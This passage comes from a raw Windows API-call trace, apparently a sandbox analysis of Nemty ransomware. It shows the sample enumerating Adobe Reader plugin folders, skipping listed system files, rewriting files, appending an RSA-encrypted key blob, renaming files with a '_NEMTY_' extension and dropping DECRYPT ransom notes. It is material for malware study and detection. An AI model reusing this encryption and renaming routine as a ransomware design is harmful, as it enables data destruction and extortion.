dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.840] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=45935) returned 1 [0186.840] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb360) returned 0x6352c48 [0186.840] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.840] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb360, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb360, lpOverlapped=0x0) returned 1 [0186.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb360, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb360, lpOverlapped=0x0) returned 1 [0186.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=45935, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb36f [0186.845] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.845] CloseHandle (hObject=0x2e8) returned 1 [0186.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.846] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc._nemty_kgobjgd_")) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.846] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1 [0186.846] lstrcmpiW (lpString1="PMP", lpString2=".") returned 1 [0186.846] lstrcmpiW (lpString1="PMP", lpString2="..") returned 1 [0186.846] lstrcmpiW (lpString1="PMP", lpString2="...") returned 1 [0186.846] lstrcmpiW (lpString1="PMP", lpString2="windows") returned -1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="$RECYCLE.BIN") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="rsa") returned -1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="NTDETECT.COM") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="ntldr") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="MSDOS.SYS") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="IO.SYS") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="boot.ini") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="boot.ini") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="AUTOEXEC.BAT") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="ntuser.dat") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="desktop.ini") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="CONFIG.SYS") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="RECYCLER") returned -1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="BOOTSECT.BAK") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="bootmgr") returned 1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="programdata") returned -1 [0186.847] lstrcmpiW (lpString1="PMP", lpString2="appdata") returned 1 [0186.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PMP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0186.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PMP", cchWideChar=3, lpMultiByteStr=0x653e890, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PMP", lpUsedDefaultChar=0x0) returned 3 [0186.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PMP", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0186.847] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PMP", cchWideChar=3, lpMultiByteStr=0x653e890, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PMP", lpUsedDefaultChar=0x0) returned 3 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0186.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.847] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.849] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.850] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0186.850] CloseHandle (hObject=0x2e8) returned 1 [0186.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347058 | out: hHeap=0x4f90000) returned 1 [0186.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0186.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x63470f0 [0186.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347188 [0186.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0186.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0186.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.852] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.852] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0186.852] CloseHandle (hObject=0x2e8) returned 1 [0186.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0186.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6347188 | out: hHeap=0x4f90000) returned 1 [0186.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.853] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2302f910, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2302f910, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0186.853] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0186.853] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2302f910, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2302f910, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0186.853] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0186.853] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0186.853] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2=".") returned 1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="..") returned 1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="...") returned 1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="windows") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="$RECYCLE.BIN") returned 1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="rsa") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="NTDETECT.COM") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="ntldr") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="MSDOS.SYS") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="IO.SYS") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="boot.ini") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="boot.ini") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="AUTOEXEC.BAT") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="ntuser.dat") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="desktop.ini") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="CONFIG.SYS") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="RECYCLER") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="BOOTSECT.BAK") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="bootmgr") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="programdata") returned -1 [0186.853] lstrcmpiW (lpString1="AdobePDF417.pmp", lpString2="appdata") returned -1 [0186.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x653e550, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePDF417.pmp", lpUsedDefaultChar=0x0) returned 15 [0186.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x653e550, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePDF417.pmp", lpUsedDefaultChar=0x0) returned 15 [0186.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x653e5a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePDF417.pmp", lpUsedDefaultChar=0x0) returned 15 [0186.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0186.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePDF417.pmp", cchWideChar=15, lpMultiByteStr=0x653e5d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePDF417.pmp", lpUsedDefaultChar=0x0) returned 15 [0186.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.854] Sleep (dwMilliseconds=0x5) [0186.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x23055a70, dwHighDateTime=0x1d561e8)) [0186.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x23055a70, dwHighDateTime=0x1d561e8)) [0186.855] GetLastError () returned 0xb7 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.855] GetLastError () returned 0xb7 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0186.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.855] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.855] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="z1ljXmHIOGIW7l2DAN2yzJdxryDFNGgIYWahgWZ8jf7HVFXrbEhCCCfYPrnZPg+S\r\n7fqdr17k3p2uYzSO5sjMyS1lQpiO+tVljnfy5c+eKffqoda7BZXKTNTSEQWhJAPk\r\nr8aL806qzJ/KXOmMgoxhxuFPm0IBSEu/3yTWHr9473OYsZlF6vUp+7VnMxoHtR0O\r\nLZyNGsbaGIsLxdN52EeBw1Fe+Lnymd8uMLVyyeZIHoY6ucqOcXaBxaVFjmj+Qe9n\r\nuhmcf4yh6uZNTm1Ix/VyUdRmUvOQRUO3BB2dFhwXapO7ei6RfmvAihxk6lUw/WQg\r\njoeismLUc+jLEXg+PCNinA==\r\n", pcchString=0x653e29c) returned 1 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.855] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.856] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=109056) returned 1 [0186.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.856] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.856] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x19000, lpOverlapped=0x0) returned 1 [0186.865] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.865] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x19000, lpOverlapped=0x0) returned 1 [0186.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.865] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=109056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1aa00 [0186.865] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.865] CloseHandle (hObject=0x2f0) returned 1 [0186.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.866] RtlAllocateHeap 